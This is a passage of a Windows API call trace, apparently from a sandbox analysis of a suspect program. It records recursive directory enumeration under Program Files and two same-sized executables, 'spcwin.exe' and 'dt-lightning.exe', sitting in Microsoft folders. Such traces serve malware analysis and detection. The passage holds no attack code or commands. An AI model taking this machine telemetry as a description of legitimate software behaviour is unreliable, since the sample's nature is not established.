lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.646] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.646] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0029.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba40 [0029.647] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.647] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0029.647] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0029.648] FindClose (in: hFindFile=0x70ba40 | out: hFindFile=0x70ba40) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0029.648] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0029.648] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0029.648] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0029.648] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa10704b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10704b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0029.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fcbd870, ftCreationTime.dwHighDateTime=0x1d5577d, ftLastAccessTime.dwLowDateTime=0x831e0100, ftLastAccessTime.dwHighDateTime=0x1d5a315, ftLastWriteTime.dwLowDateTime=0x831e0100, ftLastWriteTime.dwHighDateTime=0x1d5a315, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0029.648] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0029.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.656] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.656] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0029.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.657] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0029.657] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 0 [0029.657] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0029.657] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.657] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9fb50170, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb50170, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0029.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9fb50170, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb50170, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.658] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9fb50170, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb50170, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1b5a030, ftCreationTime.dwHighDateTime=0x1d594d1, ftLastAccessTime.dwLowDateTime=0xd9ff7660, ftLastAccessTime.dwHighDateTime=0x1d5c549, ftLastWriteTime.dwLowDateTime=0xd9ff7660, ftLastWriteTime.dwHighDateTime=0x1d5c549, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt-lightning.exe", cAlternateFileName="DT-LIG~1.EXE")) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0029.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.658] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.658] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0029.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.667] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.667] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0029.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.668] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 